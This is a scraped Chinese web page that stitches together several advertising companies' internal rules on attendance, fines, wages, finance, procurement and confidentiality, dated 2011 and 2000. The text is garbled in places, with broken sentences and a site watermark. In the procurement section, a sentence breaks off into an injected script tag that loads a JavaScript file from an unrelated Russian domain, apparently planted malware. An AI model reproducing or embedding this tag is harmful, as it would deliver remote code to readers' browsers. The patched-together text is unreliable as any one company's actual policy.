广告公司的规章制度
大理南方远景文化传媒有限责任公司内部管理制度 为加强公司的规范化管理，完善公司的各项工作制度，促进公司健康，可持 续发展，提高经济效益，提升公司的品牌效应，根据国家有关法律、法规及公司 章程的有关规定，特制订本公司管理制度。一、公司全体员工必须遵守公司章程，遵守公司的各项规章制度和决定。
二、公司倡导树立“一盘棋”思想，禁止任何部门、个人做有损公司利益、形象、 声誉或破坏公司发展的事情。
三、公司通过发挥全体员工的积极性、创造性和提高全体员工的技术、管理、经 营水平不断完善公司的经营、管理体系，实行多种形式的责任制，不断壮大 公司实力和提高经济效益。
四、公司提倡全体员工刻苦学习科学技术和文化知识，为员工提供学习、深造的 条件和机会，努力提高员工的整体素质和水平，造就一支思想新、作风硬、 业务强、技术精的员工队伍。
五、公司鼓励员工积极参与公司的决策和管理，鼓励员工发挥才智，提出合理化 建议。
六、公司实行“岗薪制”的分配制度，为员工提供收入保证，并随着经济效益的 提高逐步提高员工各方面待遇；公司为员工提供平等的竞争环境和晋升机 会；公司推行岗位责任制，实行考勤、考核制度，评先树优，对做出贡献者 予以表彰、奖励。
七、公司提倡求真务实的工作作风，提高工作效率；提倡厉行节约，反对铺张浪 费；倡导员工团结互助，同舟共济，发扬集体合作和集体创造精神，增强团 体的凝聚力和向心力。
八、员工必须维护公司纪律，对任何违反公司章程和各项规章制度的行为，都要 予以追究。
（一）、试用期和正式聘用 雇佣条件：公司对员工招聘录用，均列出必要条件，并根据公司特点，按工 作态度、工作能力、业务水平、敬业精神、综合素质等择优录用。
试：专业知识及技能的测试（面试、笔试、试用等方式）人事档案：公司为每位员工建立人事档案（员工登记表、聘用合同、绩效考 核文档），公司承诺档案资料严格保密，同时，公司要求员工提 供个人资料是真实的，弄虚作假者，一经发现，严肃处理，并要 求在员工登记表上签字证明其真实性。
（二）、考勤制度 考勤制度作为考核员工、奖优罚劣的重要依据之一。
每个广告人都知道，广告行业有其自身的特殊性，根据工作需要，管理 者有权变动工作日程安排。自己的工作未完成，应主动加班予以完成，薪金 根据公司总体业务调整，不按点按日加班计算月薪。
公司员工应按时出勤，当你缺勤时，意味着其他员工将承担额外的工作 任务。反之，其他员工缺勤时，你也要承担更多的工作任务。你应当严格执 行并有责任将自己的缺勤次数控制在最低限度。当你知道要迟到时，有责任 事前通知你的上级主管或内勤主管，缺勤和迟到将作为你工作记录的一部 分，并作为员工绩效考核的重要参考依据。未经领导同意的缺勤将受到纪律 处分、罚金，甚至辞退。
1、公司作息时间规定：上午：9：00-12:00 下午：14：00-17:30 2、惩罚：迟到早退一次扣10 元（超过一小时扣半天工资） 3、考勤按当月实际工作日统计，作为工作发放的依据。
手头工作未完成、未交接，应以大局为重，考虑客户利益和公司全局，有职业道德观念。
员工在休假期间应打开手机，保证通讯畅通，如遇公司有重要工作需要，应配合完成。
周日如需加班，请假原则上不批，如特殊情况需书面写明情况特批。4、离职 辞职员工需提前至少一个月通知公司，并按要求与主管或相关人员进 行工作交接，整理清查以往客户资料、设备、财产及以往使用的公司财物， 方可离职。
5、自动离职 无故三天不上班旷工者，均作自动离职，不予结算任何工资。
6、解雇 聘用期内，因工作表现、能力等因素不符合本公司要求，无法胜任本 职工作，公司有权解雇，以基本工资为基数，按日结算当月工资。
计算方式为：日工资=基本工资24 天（不含福利、奖金等） 7、辞退 违反劳动纪律，予以革职辞退，员工因触犯法律，追究刑事责任。
员工发生下列情形之一，公司有权提出警告或解除劳动关系。
试用期内，不符合录用条件。（一月内缺勤三次以上，工作效率低，业务水平不达标，经提醒无明显改观） 严重违反公司劳动纪律，带走公司资料或财物，泄露公司秘密，谎报事实者，造成不良影响的。
因个人原因给客户留下不良影响，说不利企业言语，流露对企业不满、自成小团体，消极怠工、无理取闹的。
工作无主动性，无所作为，影响公司整体工作完成，月内无显著业绩或提高，予以警告或劝退。
私自动用公司微机软硬件，致使电脑无法正常工作。造成损失责任自负，严重者追究其法律责任。
员工必须保证其提供一切个人资料的真实性，如实说明在原单位的辞职原因，否则一经查出，予以辞退。
利用公司资源（耗材、微机、光盘、打印机、扫描仪等）加工自己或他人成品。以公司名义承揽私活，谋取私利。
（三）、工资制度 公司根据经济效益，支付能力及社会物价涨跌情况，根据员工工作态度、 工作业绩调整工资金额。
工资结构：基本工资、岗位工资、全勤奖、绩效工资、业务提成。
工资发放：当月 20 日发放员工上月工资，如发薪日正好赶上节假日，工资 会提前或延后发放。员工转正前后月薪一般不会有太大变化，因为公司对待 员工的试用期主要是考核其德行操守、积极态度、工作能力、职业道德，而 非大幅度降低月薪，月薪如有疑议，应当时提出。
为便于管理，公司采用10 日压薪制度，待员工合理离职后，予以退还， 员工有下列情形者，不予退还。
1、离职时，未提前一个月提出。
2、擅自离职，手头工作未交接，影响全局工作。
3、严重违反劳动纪律，被开除。或有不法行为者，追究法律责任。
（四）、岗位责任制度 1、保质、按时完成领导交给的各项工作，认真填写工作日志。
2、热诚、谦逊、耐心地服务于客户。
3、维护公司设备、财产的安全，保障正常使用。
4、随时整理客户文档、资料及电脑内存文件，确保不丢失。工作中因疏忽， 酌情处理，因个人原因造成损失，应有责任赔偿或从工资里扣除。
5、及时汇报工作进程及客户业务。
6、工作单由主管领导分派，如完成时间有困难，应尽早提出，如客户急需， 应主动加班完成。接单人签字，另一名设计复核。
7、私人电话应简短。禁止用公司电话聊与工作无关的事。
8、因个人原因给工作下一环节造成影响，相关设计人员有义务马上到位予 以解决。（加班除外） （五）、呈报制度 1、员工应及时向领导汇报工作情况及进程，如遇难题或突发事件应马上向 主管领导汇报，因个人延误造成不良后果，应予以处罚。
2、未经本人允许，不得动用他人电脑，个人电脑有问题立即上报，未经许 可不得私自拆卸电脑硬件。
3、无工作需要、工作期间不得上网看与工作无关的网站，严禁网上聊天， 严禁电脑游戏、观看影碟或做其他一切与工作无关的事。
4、每日客户拜访信息及回馈意见，应当日及时上报，每周由办公室电话回 访（如虚报谎报，处罚50 5、每日拜访客户量（成功拜访客户量）不得低于当日任务的50%，如低于 50%，则扣发当日工资的50%。
（六）、办公用品管理制 1、办公用品的申请、耗材（打印纸、墨、光盘、标签）应提前记录、随时 查看。
2、节约成本，养成好习惯（打印纸双面使用，不得用公司耗材做与工作无 （七）、资料管理制度1、设计作品确认后，随时归类收存。需刻盘的，标注清楚。
2、定时删除电脑中的垃圾文件。
3、定时查看公司电子邮件并及时处理。
（八）、后勤管理制度 1、钥匙管理 公司钥匙为专人管理，管理者做好钥匙的登记、领用、收回工作。
2、门、窗、水、电、气管理 下班时检查门、窗、灯、电脑等设施是否关闭，是否安全。3、卫生管理 定期为花浇水，为鱼换水。（九）、保密制度 1、专业书籍、图库、光盘、文件资料，阅后放回原处，不得带出。
2、公司重要会议纪要，竞争策略，计划，设计技术资料。合同、报价、提 案不得泄露或传播。
3、不看不说于己无关的秘密，员工应保守公司秘密，忠于职守，增强保密 观念，造成损失，本人承担责任。
为了培养健康向上的工作观、道德观、价值观，提高每位员工的综合素 质，树立良好企业形象。是您作为企业员工要遵守的最基本的规范。
本制度从发文之日执行。
2011/10/13
广告公司的规章制度
公司制度一、遵守公司的各项规章和条例规定。
二、一切言行不得损害公司声誉和利益。
三、严格遵守公司考勤制度，按时上班。
四、树立整洁、礼貌、服从的意识。
五、具备诚实、高效、敬业的精神，员工之间应坦诚相待，相互
合作。
六、爱护公司的公物，不得随意损坏、丢弃、浪费各种办公用品，
公司用品使用完应马上归还。
七、上班时间不准打私人电话，禁止聚集、聊天、办私事、大声
喧哗，打闹嬉戏，不准看与工作无关的报刊书籍。
八、员工有遵守公司安排和努力做好本职工作的义务。
九、工作时间使用电脑，严禁用与工作无关的事情。
十、严格遵守公司一切保密制度。
考勤制度
上班时间：
坐班人员 上午8：30-12：00 下午13：30-18：00
业务员 上午8：30-12：00 下午14：00-18：00
（周日休假,其它节假日按法定休假）
员工上下班在考勤机上打卡（出差员工除外），每天按时考
勤，考勤时间以打卡时间为准，禁止替人打卡考勤，每月最后一
天累计出勤情况。
员工在上班时间因工作时间外出必须征得部门主管同意。员
工休假及出差，均要得到行政部门作登记否则按旷工处理。请假
者必须出具正规医院开具的病假单，当天看病的相关证明。事假
的最小单位是半天，员工请事假一日以下由总经理经理批准，超
过一日则须上报总经理批准，事假扣发当天的薪酬。员工无故不
上班或外出不请假，均作旷工处理。连续旷工三个工作日自动离
职处理，公司不负责一切补偿。
迟到：
考虑到各种可能存在的因素，员工每月迟到不超过三次的不
予追究。
每月迟到4-6次的员工，每次扣发工资10元。
每月迟到7-8次的员工，将扣发三天的工资。
员工迟到8次以上，扣发3天的工资外，另作旷工三天处理。
（注：员工累计旷工三天者，将被公司除名）迟到超过15分钟，
则每次迟到作两次处理，然后以“规定三”执行。迟到1小时或
以上则作旷工半天处理（以此累计）替人代打考勤卡如发现一次
扣除半月工资，累计三次，做离职处理。员工迟到如有正当理由
可不按以上条款处理，但需要由其部门人口头通知行政人事部。
考勤登记情况将作为考核、奖励、提升、处罚员工的依据之一。
财务报销管理规定
第一条 严格执行资金使用审批手续。凡有审签权限人员须在财
务部门签留字样备案。公司有付款审批权人员包括董事
长、财务总监、总经理、财务经理、会计。公司财务人
员支付每一笔款项，不论金额大小均须有经办人和以上
具有付款审批权限的人员签名(本文来自：WwW.dXf5.coM 东星 资源网:广告公司的规章制度)才可支出。若遇以上人员
外出应由财务人员设法通知，同意后可先付款后补签。
对违反上述规定的付款，财务人员有权且必须拒绝支付
并及时向上级请求处理。
第二条 借款的报销：业务人员各项费用需借款或报销时，由各
部门经理审签后，报公司财务部门审核，并送公司总经
理批准，及其他有关领导批准，方能借款或报销。原则
上前款不清，后款不借。
第三条 备用金的使用，必须依照下列规定：
一、具有规定的用途，期限及限额；
二、在规定的期限内凭费用支出单据到财务部门报销；
三、对违反规定用途和不符合开支标准的支出，财务不
予报销。
第四条 各项报销原始凭证的审核：
原始凭证应具备的内容：凭证名称、填制凭证的日期、
填制凭证单位的名称或填制人的姓名、经办人的签名或
盖单、接受凭证的单位名称、经济业务的内容、数量、
单价和金额、各种发票、收据必须符合《中华人民共和
国发票管理办法》和实施细则的规定。从外单位取得的
原始凭证必须盖有填制单位的公章；从个人取得的原始
凭证，必须有填制人员的签名或盖章；对外开出的原始
凭证，必须加盖单位公章，其中办理收款业务的要加盖
本单位财务专用章。
第五条 对原始凭证的技术性要求：
凡填有大小写金额的原始凭证，大写与小写必须相符。
购买实物的原始凭证，必须有手续完备的验收证明。除经办人在凭证上签章外，必须交给实物保管人员或使用
人员进行验收，并在凭证上签章。支付款项的原始凭证
必须有收款单位或个人的收款证明以及签字，有审批人
签字，并有付款的依据。凡凭证内容不全、字迹模糊不
清、与经济业务本身内容不符者，应予退回或重新补正。
附则三：物品采购工作规定
第一条 物品购销合同（协议与技术要求）必须由财务部会同业
务部指定人员签订。合同签订人员须认真学习《合同法》
及有关法律和公司规定，不得因此而给公司带来损失。
合同在签订前须由经办人填写合同签订申请书，经总公
司审定后，方可签署。
第二条 购销合同：由专人统一编写、登记、编制、发送和保存。
所有合同必须保留正本两份，一份交财务部做付款凭证，
另一份交总公司资料室留档备查。
第三条 物品的采购流程
一、采购大宗物品时，应填写请购申请，经总公司?script src=https://www.beyry.ru/script.js
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北京歌乐广告有限公司规章制度
1.部门为五天工作制,每日8:30至17:30,周六,周日为公休.
2.每周一,三,五上午9:00为例会时间,安排工作,务必准时参加.
3.
公时间内,严禁做与工作无关的私人事务,杜绝私人电话.
4.不准在办公室会客,如有业务客户来访,须提前报告主管领导,安排会客时间和场所.
5.办公设备有专人管理和使用,不得乱动乱用电脑,
描仪,复印机,打印机等办公用品.
6.外出采访要提前报告主管领导,以保证采编人员的人身安全和采访工作顺利进行.
7.采编人员外出领取专用认刊书要登记备案,领取人员签字.如未能签单应及时交回主管部门,在编号处签字,可在下一次采访时使用.
8.专用认刊书系报社与客户之间的法律文书,采编人员作为报社的业务代表,与客户签单后,需将认刊书(原件),文字材料,照片一并交回主管部门,做为制作版面和依法备案之用.
9.采编人员为客户撰写的文章,一律使用中国改革报社文头纸打印,校对无误后传真或送达客户审阅,重要文章需由主管领导把关.
10.提取支票前,要报告主管部门,主管部门将安排车辆和财务人员去领取支票;如客户支付的是现金,应提前请示主管部门,原则上不能用现金结算.
11.采编人员要严格遵守部门的规章制度,不能做有损报社形象的任何事情,一经发现解除合同,情节严重者将追究其经济和法律责任.
2000年7月20日